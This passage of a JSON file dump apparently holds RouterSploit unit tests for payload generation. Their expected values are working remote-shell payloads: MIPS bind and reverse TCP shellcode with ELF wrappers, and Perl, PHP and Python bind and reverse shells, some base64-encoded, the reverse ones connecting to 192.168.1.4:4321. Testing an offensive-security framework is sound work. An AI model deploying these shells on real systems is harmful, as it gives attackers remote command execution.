    "content": "from routersploit.modules.payloads.mipsbe.bind_tcp import Payload\n\n\n# mipsbe bind tcp payload with rport=4321\nbind_tcp = (\n    b\"\\x27\\xbd\\xff\\xe0\\x24\\x0e\\xff\\xfd\\x01\\xc0\\x20\\x27\\x01\\xc0\\x28\"\n    b\"\\x27\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x57\\x01\\x01\\x01\\x0c\\x30\\x50\"\n    b\"\\xff\\xff\\x24\\x0e\\xff\\xef\\x01\\xc0\\x70\\x27\\x24\\x0d\\xff\\xfd\\x01\"\n    b\"\\xa0\\x68\\x27\\x01\\xcd\\x68\\x04\\x24\\x0e\\x10\\xe1\\x01\\xae\\x68\\x25\"\n    b\"\\xaf\\xad\\xff\\xe0\\xaf\\xa0\\xff\\xe4\\xaf\\xa0\\xff\\xe8\\xaf\\xa0\\xff\"\n    b\"\\xec\\x02\\x10\\x20\\x25\\x24\\x0e\\xff\\xef\\x01\\xc0\\x30\\x27\\x23\\xa5\"\n    b\"\\xff\\xe0\\x24\\x02\\x10\\x49\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\\x24\"\n    b\"\\x05\\x01\\x01\\x24\\x02\\x10\\x4e\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\"\n    b\"\\x28\\x05\\xff\\xff\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x48\\x01\\x01\\x01\"\n    b\"\\x0c\\xaf\\xa2\\xff\\xff\\x24\\x11\\xff\\xfd\\x02\\x20\\x88\\x27\\x8f\\xa4\"\n    b\"\\xff\\xff\\x02\\x20\\x28\\x21\\x24\\x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x24\"\n    b\"\\x10\\xff\\xff\\x22\\x31\\xff\\xff\\x16\\x30\\xff\\xfa\\x28\\x06\\xff\\xff\"\n    b\"\\x3c\\x0f\\x2f\\x2f\\x35\\xef\\x62\\x69\\xaf\\xaf\\xff\\xec\\x3c\\x0e\\x6e\"\n    b\"\\x2f\\x35\\xce\\x73\\x68\\xaf\\xae\\xff\\xf0\\xaf\\xa0\\xff\\xf4\\x27\\xa4\"\n    b\"\\xff\\xec\\xaf\\xa4\\xff\\xf8\\xaf\\xa0\\xff\\xfc\\x27\\xa5\\xff\\xf8\\x24\"\n    b\"\\x02\\x0f\\xab\\x01\\x01\\x01\\x0c\"\n)\n\n# elf mipsbe bind tcp\nelf_mipsbe_bind_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x40\\x00\\x54\\x00\\x00\"\n    b\"\\x00\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\"\n    b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x01\\x3c\\x00\\x00\\x02\"\n    b\"\\x24\\x00\\x00\\x00\\x07\\x00\\x00\\x10\\x00\\x27\\xbd\\xff\\xe0\\x24\\x0e\"\n    b\"\\xff\\xfd\\x01\\xc0\\x20\\x27\\x01\\xc0\\x28\\x27\\x28\\x06\\xff\\xff\\x24\"\n    b\"\\x02\\x10\\x57\\x01\\x01\\x01\\x0c\\x30\\x50\\xff\\xff\\x24\\x0e\\xff\\xef\"\n    b\"\\x01\\xc0\\x70\\x27\\x24\\x0d\\xff\\xfd\\x01\\xa0\\x68\\x27\\x01\\xcd\\x68\"\n    b\"\\x04\\x24\\x0e\\x10\\xe1\\x01\\xae\\x68\\x25\\xaf\\xad\\xff\\xe0\\xaf\\xa0\"\n    b\"\\xff\\xe4\\xaf\\xa0\\xff\\xe8\\xaf\\xa0\\xff\\xec\\x02\\x10\\x20\\x25\\x24\"\n    b\"\\x0e\\xff\\xef\\x01\\xc0\\x30\\x27\\x23\\xa5\\xff\\xe0\\x24\\x02\\x10\\x49\"\n    b\"\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\\x24\\x05\\x01\\x01\\x24\\x02\\x10\"\n    b\"\\x4e\\x01\\x01\\x01\\x0c\\x02\\x10\\x20\\x25\\x28\\x05\\xff\\xff\\x28\\x06\"\n    b\"\\xff\\xff\\x24\\x02\\x10\\x48\\x01\\x01\\x01\\x0c\\xaf\\xa2\\xff\\xff\\x24\"\n    b\"\\x11\\xff\\xfd\\x02\\x20\\x88\\x27\\x8f\\xa4\\xff\\xff\\x02\\x20\\x28\\x21\"\n    b\"\\x24\\x02\\x0f\\xdf\\x01\\x01\\x01\\x0c\\x24\\x10\\xff\\xff\\x22\\x31\\xff\"\n    b\"\\xff\\x16\\x30\\xff\\xfa\\x28\\x06\\xff\\xff\\x3c\\x0f\\x2f\\x2f\\x35\\xef\"\n    b\"\\x62\\x69\\xaf\\xaf\\xff\\xec\\x3c\\x0e\\x6e\\x2f\\x35\\xce\\x73\\x68\\xaf\"\n    b\"\\xae\\xff\\xf0\\xaf\\xa0\\xff\\xf4\\x27\\xa4\\xff\\xec\\xaf\\xa4\\xff\\xf8\"\n    b\"\\xaf\\xa0\\xff\\xfc\\x27\\xa5\\xff\\xf8\\x24\\x02\\x0f\\xab\\x01\\x01\\x01\"\n    b\"\\x0c\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.generate_elf(bind_tcp) == elf_mipsbe_bind_tcp\n"
  },
  {
    "path": "tests/payloads/mipsbe/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.mipsbe.reverse_tcp import Payload\n\n\n# mipsbe reverse tcp with lhost=192.168.1.4  lport=4321\nreverse_tcp = (\n    b\"\\x28\\x04\\xff\\xff\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x28\\x04\\x11\"\n    b\"\\x11\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\\x80\"\n    b\"\\x20\\x27\\x24\\x02\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\"\n    b\"\\x80\\x20\\x27\\x01\\x80\\x28\\x27\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x57\"\n    b\"\\x01\\x09\\x09\\x0c\\x30\\x44\\xff\\xff\\x24\\x02\\x0f\\xc9\\x01\\x09\\x09\"\n    b\"\\x0c\\x24\\x02\\x0f\\xc9\\x01\\x09\\x09\\x0c\\x3c\\x05\\x00\\x02\\x34\\xa5\"\n    b\"\\x10\\xe1\\xaf\\xa5\\xff\\xf8\\x3c\\x05\\xc0\\xa8\\x34\\xa5\\x01\\x04\\xaf\"\n    b\"\\xa5\\xff\\xfc\\x23\\xa5\\xff\\xf8\\x24\\x0c\\xff\\xef\\x01\\x80\\x30\\x27\"\n    b\"\\x24\\x02\\x10\\x4a\\x01\\x09\\x09\\x0c\\x3c\\x08\\x2f\\x2f\\x35\\x08\\x62\"\n    b\"\\x69\\xaf\\xa8\\xff\\xec\\x3c\\x08\\x6e\\x2f\\x35\\x08\\x73\\x68\\xaf\\xa8\"\n    b\"\\xff\\xf0\\x28\\x07\\xff\\xff\\xaf\\xa7\\xff\\xf4\\xaf\\xa7\\xff\\xfc\\x23\"\n    b\"\\xa4\\xff\\xec\\x23\\xa8\\xff\\xec\\xaf\\xa8\\xff\\xf8\\x23\\xa5\\xff\\xf8\"\n    b\"\\x27\\xbd\\xff\\xec\\x28\\x06\\xff\\xff\\x24\\x02\\x0f\\xab\\x00\\x90\\x93\"\n    b\"\\x4c\"\n)\n\n# elf mipsbe reverse tcp\nelf_mipsbe_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x40\\x00\\x54\\x00\\x00\"\n    b\"\\x00\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\"\n    b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x01\\x18\\x00\\x00\\x01\"\n    b\"\\xdc\\x00\\x00\\x00\\x07\\x00\\x00\\x10\\x00\\x28\\x04\\xff\\xff\\x24\\x02\"\n    b\"\\x0f\\xa6\\x01\\x09\\x09\\x0c\\x28\\x04\\x11\\x11\\x24\\x02\\x0f\\xa6\\x01\"\n    b\"\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\\x80\\x20\\x27\\x24\\x02\\x0f\\xa6\"\n    b\"\\x01\\x09\\x09\\x0c\\x24\\x0c\\xff\\xfd\\x01\\x80\\x20\\x27\\x01\\x80\\x28\"\n    b\"\\x27\\x28\\x06\\xff\\xff\\x24\\x02\\x10\\x57\\x01\\x09\\x09\\x0c\\x30\\x44\"\n    b\"\\xff\\xff\\x24\\x02\\x0f\\xc9\\x01\\x09\\x09\\x0c\\x24\\x02\\x0f\\xc9\\x01\"\n    b\"\\x09\\x09\\x0c\\x3c\\x05\\x00\\x02\\x34\\xa5\\x10\\xe1\\xaf\\xa5\\xff\\xf8\"\n    b\"\\x3c\\x05\\xc0\\xa8\\x34\\xa5\\x01\\x04\\xaf\\xa5\\xff\\xfc\\x23\\xa5\\xff\"\n    b\"\\xf8\\x24\\x0c\\xff\\xef\\x01\\x80\\x30\\x27\\x24\\x02\\x10\\x4a\\x01\\x09\"\n    b\"\\x09\\x0c\\x3c\\x08\\x2f\\x2f\\x35\\x08\\x62\\x69\\xaf\\xa8\\xff\\xec\\x3c\"\n    b\"\\x08\\x6e\\x2f\\x35\\x08\\x73\\x68\\xaf\\xa8\\xff\\xf0\\x28\\x07\\xff\\xff\"\n    b\"\\xaf\\xa7\\xff\\xf4\\xaf\\xa7\\xff\\xfc\\x23\\xa4\\xff\\xec\\x23\\xa8\\xff\"\n    b\"\\xec\\xaf\\xa8\\xff\\xf8\\x23\\xa5\\xff\\xf8\\x27\\xbd\\xff\\xec\\x28\\x06\"\n    b\"\\xff\\xff\\x24\\x02\\x0f\\xab\\x00\\x90\\x93\\x4c\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.generate_elf(reverse_tcp) == elf_mipsbe_reverse_tcp\n"
  },
  {
    "path": "tests/payloads/mipsle/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/mipsle/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.mipsle.bind_tcp import Payload\n\n\n# mipsle bind tcp payload with rport=4321\nbind_tcp = (\n    b\"\\xe0\\xff\\xbd\\x27\\xfd\\xff\\x0e\\x24\\x27\\x20\\xc0\\x01\\x27\\x28\\xc0\"\n    b\"\\x01\\xff\\xff\\x06\\x28\\x57\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\\xff\"\n    b\"\\x50\\x30\\xef\\xff\\x0e\\x24\\x27\\x70\\xc0\\x01\\x10\\xe1\\x0d\\x24\\x04\"\n    b\"\\x68\\xcd\\x01\\xfd\\xff\\x0e\\x24\\x27\\x70\\xc0\\x01\\x25\\x68\\xae\\x01\"\n    b\"\\xe0\\xff\\xad\\xaf\\xe4\\xff\\xa0\\xaf\\xe8\\xff\\xa0\\xaf\\xec\\xff\\xa0\"\n    b\"\\xaf\\x25\\x20\\x10\\x02\\xef\\xff\\x0e\\x24\\x27\\x30\\xc0\\x01\\xe0\\xff\"\n    b\"\\xa5\\x23\\x49\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\\x01\"\n    b\"\\x01\\x05\\x24\\x4e\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\"\n    b\"\\xff\\xff\\x05\\x28\\xff\\xff\\x06\\x28\\x48\\x10\\x02\\x24\\x0c\\x01\\x01\"\n    b\"\\x01\\xff\\xff\\xa2\\xaf\\xfd\\xff\\x11\\x24\\x27\\x88\\x20\\x02\\xff\\xff\"\n    b\"\\xa4\\x8f\\x21\\x28\\x20\\x02\\xdf\\x0f\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\"\n    b\"\\xff\\x10\\x24\\xff\\xff\\x31\\x22\\xfa\\xff\\x30\\x16\\xff\\xff\\x06\\x28\"\n    b\"\\x62\\x69\\x0f\\x3c\\x2f\\x2f\\xef\\x35\\xec\\xff\\xaf\\xaf\\x73\\x68\\x0e\"\n    b\"\\x3c\\x6e\\x2f\\xce\\x35\\xf0\\xff\\xae\\xaf\\xf4\\xff\\xa0\\xaf\\xec\\xff\"\n    b\"\\xa4\\x27\\xf8\\xff\\xa4\\xaf\\xfc\\xff\\xa0\\xaf\\xf8\\xff\\xa5\\x27\\xab\"\n    b\"\\x0f\\x02\\x24\\x0c\\x01\\x01\\x01\"\n)\n\n# elf mipsle bind tcp\nelf_mipsle_bind_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x54\\x00\\x40\\x00\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x3c\\x01\\x00\\x00\\x24\\x02\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\xe0\\xff\\xbd\\x27\\xfd\\xff\"\n    b\"\\x0e\\x24\\x27\\x20\\xc0\\x01\\x27\\x28\\xc0\\x01\\xff\\xff\\x06\\x28\\x57\"\n    b\"\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\\xff\\x50\\x30\\xef\\xff\\x0e\\x24\"\n    b\"\\x27\\x70\\xc0\\x01\\x10\\xe1\\x0d\\x24\\x04\\x68\\xcd\\x01\\xfd\\xff\\x0e\"\n    b\"\\x24\\x27\\x70\\xc0\\x01\\x25\\x68\\xae\\x01\\xe0\\xff\\xad\\xaf\\xe4\\xff\"\n    b\"\\xa0\\xaf\\xe8\\xff\\xa0\\xaf\\xec\\xff\\xa0\\xaf\\x25\\x20\\x10\\x02\\xef\"\n    b\"\\xff\\x0e\\x24\\x27\\x30\\xc0\\x01\\xe0\\xff\\xa5\\x23\\x49\\x10\\x02\\x24\"\n    b\"\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\\x01\\x01\\x05\\x24\\x4e\\x10\\x02\"\n    b\"\\x24\\x0c\\x01\\x01\\x01\\x25\\x20\\x10\\x02\\xff\\xff\\x05\\x28\\xff\\xff\"\n    b\"\\x06\\x28\\x48\\x10\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\\xff\\xa2\\xaf\\xfd\"\n    b\"\\xff\\x11\\x24\\x27\\x88\\x20\\x02\\xff\\xff\\xa4\\x8f\\x21\\x28\\x20\\x02\"\n    b\"\\xdf\\x0f\\x02\\x24\\x0c\\x01\\x01\\x01\\xff\\xff\\x10\\x24\\xff\\xff\\x31\"\n    b\"\\x22\\xfa\\xff\\x30\\x16\\xff\\xff\\x06\\x28\\x62\\x69\\x0f\\x3c\\x2f\\x2f\"\n    b\"\\xef\\x35\\xec\\xff\\xaf\\xaf\\x73\\x68\\x0e\\x3c\\x6e\\x2f\\xce\\x35\\xf0\"\n    b\"\\xff\\xae\\xaf\\xf4\\xff\\xa0\\xaf\\xec\\xff\\xa4\\x27\\xf8\\xff\\xa4\\xaf\"\n    b\"\\xfc\\xff\\xa0\\xaf\\xf8\\xff\\xa5\\x27\\xab\\x0f\\x02\\x24\\x0c\\x01\\x01\"\n    b\"\\x01\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.generate_elf(bind_tcp) == elf_mipsle_bind_tcp\n"
  },
  {
    "path": "tests/payloads/mipsle/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.mipsle.reverse_tcp import Payload\n\n\n# mipsle reverse tcp with lhost=192.168.1.4  lport=4321\nreverse_tcp = (\n    b\"\\xff\\xff\\x04\\x28\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\x11\\x11\\x04\"\n    b\"\\x28\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\\x20\"\n    b\"\\x80\\x01\\xa6\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\"\n    b\"\\x20\\x80\\x01\\x27\\x28\\x80\\x01\\xff\\xff\\x06\\x28\\x57\\x10\\x02\\x24\"\n    b\"\\x0c\\x09\\x09\\x01\\xff\\xff\\x44\\x30\\xc9\\x0f\\x02\\x24\\x0c\\x09\\x09\"\n    b\"\\x01\\xc9\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\x10\\xe1\\x05\\x3c\\x02\\x00\"\n    b\"\\xa5\\x34\\xf8\\xff\\xa5\\xaf\\x01\\x04\\x05\\x3c\\xc0\\xa8\\xa5\\x34\\xfc\"\n    b\"\\xff\\xa5\\xaf\\xf8\\xff\\xa5\\x23\\xef\\xff\\x0c\\x24\\x27\\x30\\x80\\x01\"\n    b\"\\x4a\\x10\\x02\\x24\\x0c\\x09\\x09\\x01\\x62\\x69\\x08\\x3c\\x2f\\x2f\\x08\"\n    b\"\\x35\\xec\\xff\\xa8\\xaf\\x73\\x68\\x08\\x3c\\x6e\\x2f\\x08\\x35\\xf0\\xff\"\n    b\"\\xa8\\xaf\\xff\\xff\\x07\\x28\\xf4\\xff\\xa7\\xaf\\xfc\\xff\\xa7\\xaf\\xec\"\n    b\"\\xff\\xa4\\x23\\xec\\xff\\xa8\\x23\\xf8\\xff\\xa8\\xaf\\xf8\\xff\\xa5\\x23\"\n    b\"\\xec\\xff\\xbd\\x27\\xff\\xff\\x06\\x28\\xab\\x0f\\x02\\x24\\x0c\\x09\\x09\"\n    b\"\\x01\"\n)\n\n# elf mipsle reverse tcp\nelf_mipsle_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x54\\x00\\x40\\x00\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x18\\x01\\x00\\x00\\xdc\\x01\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\xff\\xff\\x04\\x28\\xa6\\x0f\"\n    b\"\\x02\\x24\\x0c\\x09\\x09\\x01\\x11\\x11\\x04\\x28\\xa6\\x0f\\x02\\x24\\x0c\"\n    b\"\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\\x20\\x80\\x01\\xa6\\x0f\\x02\\x24\"\n    b\"\\x0c\\x09\\x09\\x01\\xfd\\xff\\x0c\\x24\\x27\\x20\\x80\\x01\\x27\\x28\\x80\"\n    b\"\\x01\\xff\\xff\\x06\\x28\\x57\\x10\\x02\\x24\\x0c\\x09\\x09\\x01\\xff\\xff\"\n    b\"\\x44\\x30\\xc9\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\\xc9\\x0f\\x02\\x24\\x0c\"\n    b\"\\x09\\x09\\x01\\x10\\xe1\\x05\\x3c\\x02\\x00\\xa5\\x34\\xf8\\xff\\xa5\\xaf\"\n    b\"\\x01\\x04\\x05\\x3c\\xc0\\xa8\\xa5\\x34\\xfc\\xff\\xa5\\xaf\\xf8\\xff\\xa5\"\n    b\"\\x23\\xef\\xff\\x0c\\x24\\x27\\x30\\x80\\x01\\x4a\\x10\\x02\\x24\\x0c\\x09\"\n    b\"\\x09\\x01\\x62\\x69\\x08\\x3c\\x2f\\x2f\\x08\\x35\\xec\\xff\\xa8\\xaf\\x73\"\n    b\"\\x68\\x08\\x3c\\x6e\\x2f\\x08\\x35\\xf0\\xff\\xa8\\xaf\\xff\\xff\\x07\\x28\"\n    b\"\\xf4\\xff\\xa7\\xaf\\xfc\\xff\\xa7\\xaf\\xec\\xff\\xa4\\x23\\xec\\xff\\xa8\"\n    b\"\\x23\\xf8\\xff\\xa8\\xaf\\xf8\\xff\\xa5\\x23\\xec\\xff\\xbd\\x27\\xff\\xff\"\n    b\"\\x06\\x28\\xab\\x0f\\x02\\x24\\x0c\\x09\\x09\\x01\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.generate_elf(reverse_tcp) == elf_mipsle_reverse_tcp\n"
  },
  {
    "path": "tests/payloads/perl/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.perl.bind_tcp import Payload\n\n\n# perl bind tcp payload with rport=4321\nbind_tcp = (\n    \"use IO;foreach my $key(keys %ENV){\" +\n    \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,\" +\n    \"4321\" +\n    \",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){\" +\n    \"if($_=~ /(.*)/){system $1;}};\"\n)\n\n# perl bind tcp payload with rport=4321 encoded with perl/base64\nbind_tcp_encoded = (\n    \"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.run() == bind_tcp_encoded\n"
  },
  {
    "path": "tests/payloads/perl/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.perl.reverse_tcp import Payload\n\n\n# reverse udp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"use IO;foreach my $key(keys %ENV){\" +\n    \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\\\"\" +\n    \"192.168.1.4:4321\" +\n    \"\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};\"\n)\n\n# reverse udp payload with lhost=192.168.1.4 lport=4321 encoded with perl/base64\nreverse_tcp_encoded = (\n    \"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuNDo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.run() == reverse_tcp_encoded\n"
  },
  {
    "path": "tests/payloads/php/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/php/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.php.bind_tcp import Payload\n\n\n# php bind tcp payload with rport 4321\nbind_tcp = (\n    \"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\" +\n    \"socket_bind($s,\\\"0.0.0.0\\\",4321);\" +\n    \"socket_listen($s,1);\" +\n    \"$cl=socket_accept($s);\" +\n    \"while(1){\" +\n    \"if(!socket_write($cl,\\\"$ \\\",2))exit;\" +\n    \"$in=socket_read($cl,100);\" +\n    \"$cmd=popen(\\\"$in\\\",\\\"r\\\");\" +\n    \"while(!feof($cmd)){\" +\n    \"$m=fgetc($cmd);\" +\n    \"socket_write($cl,$m,strlen($m));\" +\n    \"}}\"\n)\n\n# php bind tcp payload with rport=4321 encoded with php/base64\nbind_tcp_encoded = (\n    \"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.run() == bind_tcp_encoded\n"
  },
  {
    "path": "tests/payloads/php/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.php.reverse_tcp import Payload\n\n\n# php reverse tcp payload with lhost=192.168.1.4 lport=4321\nreverse_tcp = (\n    \"$s=fsockopen(\\\"tcp://192.168.1.4\\\",4321);\" +\n    \"while(!feof($s)){exec(fgets($s),$o);$o=implode(\\\"\\\\n\\\",$o);$o.=\\\"\\\\n\\\";fputs($s,$o);}\"\n\n)\n\n# php reverse tcp payload with lhost=192.168.1.4 lport=4321 encoded with php/base64\nreverse_tcp_encoded = (\n    \"eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.run() == reverse_tcp_encoded\n"
  },
  {
    "path": "tests/payloads/python/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/python/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.python.bind_tcp import Payload\n\n\n# python bind tcp payload with rport=4321\nbind_tcp = (\n    \"import socket,os\\n\" +\n    \"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n    \"so.bind(('0.0.0.0',4321))\\n\" +\n    \"so.listen(1)\\n\" +\n    \"so,addr=so.accept()\\n\" +\n    \"x=False\\n\" +\n    \"while not x:\\n\" +\n    \"\\tdata=so.recv(1024)\\n\" +\n    \"\\tstdin,stdout,stderr,=os.popen3(data)\\n\" +\n    \"\\tstdout_value=stdout.read()+stderr.read()\\n\" +\n    \"\\tso.send(stdout_value)\\n\"\n)\n\n# python bind tcp payload with rport=4321 encoded with python/base64\nbind_tcp_encoded = (\n    \"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.run() == bind_tcp_encoded\n"
  },
  {
